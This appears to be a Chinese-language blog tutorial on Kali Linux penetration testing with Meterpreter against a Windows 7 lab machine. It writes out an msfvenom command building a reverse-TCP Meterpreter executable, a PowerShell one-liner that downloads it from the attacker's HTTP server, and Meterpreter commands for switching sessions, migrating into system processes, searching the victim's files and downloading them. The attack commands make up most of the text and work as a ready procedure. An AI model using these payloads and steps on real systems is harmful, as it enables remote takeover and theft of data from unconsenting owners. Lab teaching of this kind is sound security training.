Kali 渗透测试:Meterpreter在Windows系统下的使用

简介: Kali 渗透测试:Meterpreter在Windows系统下的使用

Kali 渗透测试:Meterpreter在Windows系统下的使用
实 验 环 境:
VMware Workstation 16 PRO

操作机:Kali Linux 5.10.0 IP(192.168.68.125)

靶机:Win7

实 验 步 骤:
1. 生成被控端payload
在操作机执行如下命令:

┌──(root💀kali)-[~]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.68.125 LPORT=9998 -f  exe -o /root/PowerSploit/payload64.exe

2. 启动主控端
在操作机执行如下命令:

┌──(root💀kali)-[~]
└─# msfconsole

启动成功后,运行如下图红框所示命令:
image.png

3. 在操作机启动web服务
在操作机的payload64所在目录下,启动Web服务,执行如下命令:

┌──(root💀kali)-[~/PowerSploit]
└─# python3 -m http.server 8000

备注: 这样操作主要是方便下载和存储被控端payload到靶机,因为本机是Win10系统,转存会出现病毒弹框,被查杀。

4. 靶机Win7下载payload64
进到靶机,在浏览器访问操作机地址http://192.168.68.125:8000,单击payload64.exe,然后存储到指定路径,如下图所示:
image.png

或者直接在靶机PowerShell环境下执行如下命令:

PS C:\Users\CISP-PTE>(New-Object System.Net.WebClient).DownloadFile("http://192.168.68.125:8000/payload64.exe", "c:\payload64.exe")

然后双击执行。

5. 主控端反弹,打开Meterpreter控制会话
如下图所示:

image.png

很多时候需要实验Kali控制多个设备,这时就会创造多个会话,每一个会话对应一个连接,如果需要在这些会话之间进行切换,可以使用sessions [id] 的方式切换到指定会话。Meterpreter中支持的命令很多,一共分成9个种类,分别为:

  • 核心命令(Core Command);
  • 文件系统命令(File System Command);
  • 网络命令(Networking Command);
  • 系统命令(System Command);
  • 用户接口命令(User Interface Command);
  • 摄像头命令(Webcam Command);
  • 控制权限提升命令(Elevate Command);
  • 密码数据库命令(Password Database Command);
  • 时间戳命令(Timestamp Command);

其中核心命令如下:

  • background:将当前会话切换到后台
  • bgkill:关闭一个后台的Meterpreter脚本
  • bglist:列出所有正在运行的后台脚本
  • bgrun:将一个Meterpreter脚本以后台线程模式运行
  • channel:显示或者控制一个活动频道
  • close:关闭一个频道
  • exit:终止Meterpreter控制会话
  • get_timeouts:获得当前会话的timeout值
  • help:帮助菜单
  • info:显示Post模块的信息
  • irb:进入Ruby脚本模式
  • load:加载Meterpreter扩展
  • migrate:将会话迁移到一个指定PID的进程
  • quit:结束Meterpreter控制会话
  • read:从频道中读取数据
  • resource:运行文件中的命令
  • run:执行一个Meterpreter脚本或者Post模块
  • sessions:快速地切换到另一个会话
  • set_timeouts:设置当前会话的timeout值
  • sleep:使Meterpreter静默,重建会话
  • use:与"load"相同,已过时
  • uuid:获得当前会话的UUID
  • write:将数据写入一个频道

这些命令中最为常见的有如下几个:

sessions命令, 当建立多个会话的时候,可以使用sessions命令来显示所有的会话,如下命令:

msf6 exploit(multi/handler) > sessions

如下图所示:

image.png

background命令可以将当前会话切换到后台, 这样我就可以返回到上一级的模块控制处:

meterpreter > background

如下图所示:
image.png

切回到控制会话,可以使用“sessions -i 编号n”命令切换到编号n的会话处。如果我们现在要切回会话2,可以使用如下命令:

msf exploit(handler) > sessions -i 2

如下图所示:
image.png

migrate命令是一个十分有用的命令,可以将我们现在的Meterpreter迁移到一个指定的进程中。现在这个Meterpreter位于一个独立的进程或者一个可能随时被结束的进程中, 我们可以使用migrate命令将其迁移到一个系统进程中。

load命令可以用来加载Meterpreter模块的插件,可以使用 load -l 命令查看所有可以加载的插件,如下图所示:

image.png

run命令可以用来执行一个Meterpreter脚本。

exit命令用来退出当前Meterpreter控制会话

当目标系统上取得了一个Meterpreter控制会话之后,我们就可以控制远程系统的文件了。对文件进行操作的命令如下:

  • cat:读取并输出到标准输出文件的内容
  • cd:更改目录
  • checksum:重新计算文件的校验码
  • cp:将文件复制到指定位置
  • dir:列出文件
  • download:下载一个文件或者目录
  • edit:编辑文件
  • getlwd:输出本地目录
  • lcd:更改本地目录
  • lpwd:输出本地目录
  • ls:列出当前目录的文件
  • mkdir:创建一个目录
  • mv:从源地址移动到目的地址
  • pwd:输出工作目录
  • rm:删除指定文件
  • rmdir:删除指定目录
  • search:查找文件
  • show_mount:列出 所有的驱动器
  • upload:上传一个文件或者目录

在Meterpreter中默认操作的是远程被控端操作系统, 上面的命令都可以使用。下面查看目标系统中包含哪些文件,可以使用ls命令:

meterpreter > ls

如下图所示:

image.png

显示目标系统当前目录,在命令行中输入如下命令:

meterpreter > pwd

如下图所示:
image.png

使用cd命令切换到其他目录,命令如下:

meterpreter > cd c:/

如下图所示:
image.png

使用mkdir命令在目标系统创建名为“Metasploit”的目录,命令如下:

meterpreter > mkdir Metasploit

如下图所示:
image.png

search命令查找目标系统中感兴趣的文件,如查找目标系统中的一个TXT文件,命令如下:

meterpreter > search -f *.txt

如下图所示:

image.png

找到了感兴趣的文件,就可以将这个文件下载到自己的Kali Linux操作机上,命令如下:

meterpreter > download c:/run2/memo.txt

如下图所示:

image.png

希望此文能对您有所启发, 欢迎留言,点赞,转发!

相关文章
|
2月前
|
安全 Windows
永久关闭 Windows 11 系统更新
永久关闭 Windows 11 系统更新
138 0
|
19天前
|
安全 Windows
【Azure Cloud Service】在Windows系统中抓取网络包 ( 不需要另外安全抓包工具)
通常,在生产环境中,为了保证系统环境的安全和纯粹,是不建议安装其它软件或排查工具(如果可以安装,也是需要走审批流程)。 本文将介绍一种,不用安装Wireshark / tcpdump 等工具,使用Windows系统自带的 netsh trace 命令来获取网络包的步骤
63 32
|
1月前
|
存储 负载均衡 Java
如何配置Windows主机MPIO多路径访问存储系统
Windows主机多路径(MPIO)是一种技术,用于在客户端计算机上配置多个路径到存储设备,以提高数据访问的可靠性和性能。本文以Windows2012 R2版本为例介绍如何在客户端主机和存储系统配置多路径访问。
83 13
如何配置Windows主机MPIO多路径访问存储系统
|
20天前
|
数据库连接 Go 数据库
Go语言中的错误注入与防御编程。错误注入通过模拟网络故障、数据库错误等,测试系统稳定性
本文探讨了Go语言中的错误注入与防御编程。错误注入通过模拟网络故障、数据库错误等,测试系统稳定性;防御编程则强调在编码时考虑各种错误情况,确保程序健壮性。文章详细介绍了这两种技术在Go语言中的实现方法及其重要性,旨在提升软件质量和可靠性。
23 1
|
2月前
|
监控 测试技术
如何进行系统压力测试?
【10月更文挑战第11天】如何进行系统压力测试?
130 34
|
2月前
|
存储 监控 网络协议
服务器压力测试是一种评估系统在极端条件下的表现和稳定性的技术
【10月更文挑战第11天】服务器压力测试是一种评估系统在极端条件下的表现和稳定性的技术
127 32
|
29天前
|
缓存 监控 测试技术
全网最全压测指南!教你如何测试和优化系统极限性能
大家好,我是小米。本文将介绍如何在实际项目中进行性能压测和优化,包括单台服务器和集群压测、使用JMeter、监控CPU和内存使用率、优化Tomcat和数据库配置等方面的内容,帮助你在高并发场景下提升系统性能。希望这些实战经验能助你一臂之力!
55 3
|
1月前
|
人工智能 测试技术 Windows
Windows 竞技场:面向下一代AI Agent的测试集
【10月更文挑战第25天】随着人工智能的发展,大型语言模型(LLMs)在多模态任务中展现出巨大潜力。为解决传统基准测试的局限性,研究人员提出了Windows Agent Arena,一个在真实Windows操作系统中评估AI代理性能的通用环境。该环境包含150多个多样化任务,支持快速并行化评估。研究团队还推出了多模态代理Navi,在Windows领域测试中成功率达到19.5%。尽管存在局限性,Windows Agent Arena仍为AI代理的评估和研究提供了新机遇。
43 3
|
1月前
|
编解码 安全 Linux
网络空间安全之一个WH的超前沿全栈技术深入学习之路(10-2):保姆级别教会你如何搭建白帽黑客渗透测试系统环境Kali——Liinux-Debian:就怕你学成黑客啦!)作者——LJS
保姆级别教会你如何搭建白帽黑客渗透测试系统环境Kali以及常见的报错及对应解决方案、常用Kali功能简便化以及详解如何具体实现
|
2月前
|
Windows
.NET 隐藏/自定义windows系统光标
【10月更文挑战第20天】在.NET中,可以使用`Cursor`类来控制光标。要隐藏光标,可将光标设置为`Cursors.None`。此外,还可以通过从文件或资源加载自定义光标来更改光标的样式。例如,在表单加载时设置`this.Cursor = Cursors.None`隐藏光标,或使用`Cursor.FromFile`方法加载自定义光标文件,也可以将光标文件添加到项目资源中并通过资源管理器加载。这些方法适用于整个表单或特定控件。